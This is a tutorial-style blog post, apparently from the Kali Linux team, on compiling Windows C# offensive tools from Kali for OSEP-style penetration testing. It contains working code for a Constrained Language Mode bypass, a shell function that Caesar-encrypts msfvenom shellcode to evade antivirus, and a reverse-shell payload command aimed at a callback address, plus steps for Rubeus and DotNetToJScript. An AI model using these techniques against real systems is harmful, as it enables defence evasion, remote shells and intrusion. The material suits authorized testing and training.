Building Windows C# Tools and Payloads from Kali Linux
One of our team members recently took (and passed!) OffSec’s advanced penetration testing course & exam, PEN-300/OSEP. Whilst it focuses a lot on Microsoft Windows, there were a few extra places where Linux could be used to complete the same task… just quicker!
Compiling C# code in Kali
In general, what you need for compiling CSharp (C#) code in Kali is mono-devel :
kali@kali:~$ sudo apt install mono-devel
Now we need some code to compile. Here’s a very basic way of executing a program (process):
using System;
using System.Diagnostics;
namespace Exec
{
class Program
{
static void Main()
{
Process proc = new Process();
ProcessStartInfo procInfo = new ProcessStartInfo(“cmd.exe”, “/T:09 /K systeminfo”);
procInfo.CreateNoWindow = false;
procInfo.UseShellExecute = false;
proc.StartInfo = procInfo;
proc.Start();
}
}
}
If you would like some more examples to get you going, try a Shellcode Launcher or a Simple Reverse Shell.
All that is left is to compile:
kali@kali:~$ TERM=linux mcs -out:exec.exe exec.cs
kali@kali:~$
kali@kali:~$ file exec.*
exec.cs: C++ source, ASCII text
exec.exe: PE32 executable for MS Windows 4.00 (console), Intel i386 Mono/.Net assembly, 3 sections
kali@kali:~$
How to run these binaries from Kali Linux
Simple: just install wine and wine-mono. It’s really handy, as you can test your Windows binaries (even reverse shells) directly from Kali:
kali@kali:~$ sudo dpkg –add-architecture i386
kali@kali:~$ sudo apt update
[…]
kali@kali:~$ sudo apt -y install wine32
[…]
kali@kali:~$
# Install wine-mono
kali@kali:~$ wget https://dl.winehq.org/wine/wine-mono/11.3.0/wine-mono-11.3.0-x86.msi
[…]
kali@kali:~$
kali@kali:~$ wine msiexec /i wine-mono-11.3.0-x86.msi
[…]
kali@kali:~$
And now, to run your freshly built .exe binary, just use:
kali@kali:~$ wine exec.exe
Constrained Language Mode Bypass
It’s not always that easy — sometimes things get a bit trickier. For example, for compiling the Constrained Language Mode (CLM) bypass section, we need some DLL libraries from Microsoft: System.Management.Automation.dll and System.Configuration.Install.dll:
Good news! Powershell Empire already includes them; you just have to install the package and run it so that it downloads all the required files for you:
kali@kali:~$ sudo apt install powershell-empire
[…]
# Configure powershell-empire (downloads required DLL files for CSharp)
kali@kali:~$ powershell-empire server
[…]
Let’s find the needed DLL(s):
kali@kali:~$ sudo updatedb
kali@kali:~$ locate System.Management.Automation.dll
/home/kali/.local/share/empire/empire-compiler/EmpireCompiler-linux-x64-v1.0.0/EmpireCompiler/Data/AssemblyReferences/net35/System.Management.Automation.dll
/home/kali/.local/share/empire/empire-compiler/EmpireCompiler-linux-x64-v1.0.0/EmpireCompiler/Data/AssemblyReferences/net40/System.Management.Automation.dll
[…]
kali@kali:~$ locate System.Configuration.Install.dll
/home/kali/.local/share/empire/empire-compiler/EmpireCompiler-linux-x64-v1.0.0/EmpireCompiler/Data/AssemblyReferences/net35/System.Configuration.Install.dll
/home/kali/.local/share/empire/empire-compiler/EmpireCompiler-linux-x64-v1.0.0/EmpireCompiler/Data/AssemblyReferences/net40/System.Configuration.Install.dll
/home/kali/.local/share/empire/empire-compiler/EmpireCompiler-linux-x64-v1.0.0/EmpireCompiler/Data/AssemblyReferences/net45/System.Configuration.Install.dll
Now we are ready to compile our CLM bypass:
using System;
using System.Management.Automation;
using System.Management.Automation.Runspaces;
using System.Configuration.Install;
namespace Bypass
{
class Program
{
static void Main(string[] args)
{
Console.WriteLine(“This is the main method which is a decoy”);
}
}
[System.ComponentModel.RunInstaller(true)]
public class Sample : System.Configuration.Install.Installer
{
public override void Uninstall(System.Collections.IDictionary savedState)
{
String cmd = “$ExecutionContext.SessionState.LanguageMode | Out-File -FilePath C:\Tools\test.txt”;
Runspace rs = RunspaceFactory.CreateRunspace();
rs.Open();
PowerShell ps = PowerShell.Create();
ps.Runspace = rs;
ps.AddScript(cmd);
ps.Invoke();
rs.Close();
}
}
}
kali@kali:~$ TERM=linux mcs
-target:library
-out:bypass.dll bypass.cs
-r:$(echo /home/kali/.local/share/empire/empire-compiler/EmpireCompiler-linux-x64-*/EmpireCompiler/Data/AssemblyReferences/net40/System.Management.Automation.dll)
-r:$(echo /home/kali/.local/share/empire/empire-compiler/EmpireCompiler-linux-x64-*/EmpireCompiler/Data/AssemblyReferences/net40/System.Configuration.Install.dll)
kali@kali:~$ file bypass.dll
bypass.dll: PE32 executable for MS Windows 4.00 (DLL), Intel i386 Mono/.Net assembly, 3 sections
kali@kali:~$
Success!! 🎉🎉
And we didn’t have to deal with the tedious process of creating a project in Visual Studio just for this. This also opens a world of possibilities, as you can now automate the process and create your own templates and shell scripts to generate all kinds of exploits.
If you want to manually download the required DLL files, and to make this method more future proof, you can find them stored in the original Empire-Compiler repository.
Caesar Cipher
We have already shown how helpful the mcs compiler can be, but there’s more. With the same package you also get the csharp code interpreter, which allows you to execute C# code on the fly. Here’s a useful example:
In the PEN-300 course, one of the methods explained for antivirus evasion consists of encrypting the payload using the Caesar cipher. To do this, the course provides some C# code that generates a binary to perform the encryption. This works, but on Windows it requires creating a new Visual Studio project, adding the code, compiling it, and then passing the payload from msfvenom to the resulting executable. That’s far too many steps. We can simplify the whole process using the csharp console.
The csharpcommand allows you to run C# code directly from the terminal, with no need to compile. So we created a shell function that performs all the previous steps in one go:
Save this inside ~/.zshrc or ~/.bashrc:
caesar_cipher_msfvenom() {
KEY=$1
shift
payload=”$(msfvenom “$@” -f csharp -v buf)”
echo
echo
csharp << EOF
using System.Text;
${payload}
for (int i = 0; i < buf.Length; i++)
buf[i] = (byte)(((uint)buf[i] + ${KEY}) & 0xFF);
StringBuilder hex = new StringBuilder(buf.Length * 2);
foreach (byte b in buf)
hex.AppendFormat(“0x{0:x2}, “, b);
Console.WriteLine(“byte[] buf = new byte[] { ” + hex.ToString().Substring(0, hex.Length – 2) + ” };”);
EOF
}
Now you can run something like this using the first parameter (4) as the cipher key:
kali@kali:~$ caesar_cipher_msfvenom 4 -p windows/x64/shell_reverse_tcp LHOST=192.168.45.164 LPORT=443
Rubeus
Unfortunately Rubeus doesn’t supply a prebuilt exe file. There’s a third-party repository that provides it, but we wanted it self-contained (not dependent on dotnet version), plus we wanted to do it from Kali.
This is now packaged in Kali, so just sudo apt install rubeus
In case you’re curious, here you can check how we managed to compile it from Linux and self-contained:
Patch: https://gitlab.com/kalilinux/packages/rubeus/-/blob/kali/master/debian/patches/configure-build.patch
Compile: cd Rubeus && dotnet publish -r win-x64 -c Release –self-contained true -o out/
DotNetToJScript
For this, we directly downloaded the binaries compiled in their repo, as we didn’t manage to compile them (and it’s not really worth it).
In this case, you need wine and dotnet35 (it didn’t work with only wine-mono):
kali@kali:~$ sudo apt install wine winetricks
[…]
kali@kali:~$ winetricks dotnet35
[…]
kali@kali:~$
And you can finally use:
# Compile C# code as a library
kali@kali:~$ TERM=linux mcs -target:library -out:rshell.dll rshell.cs
# Convert library to jscript
kali@kali:~$ wine DotNetToJScript.exe rshell.dll –lang=Jscript –ver=v4 -o rshell.jsKali LinuxRead More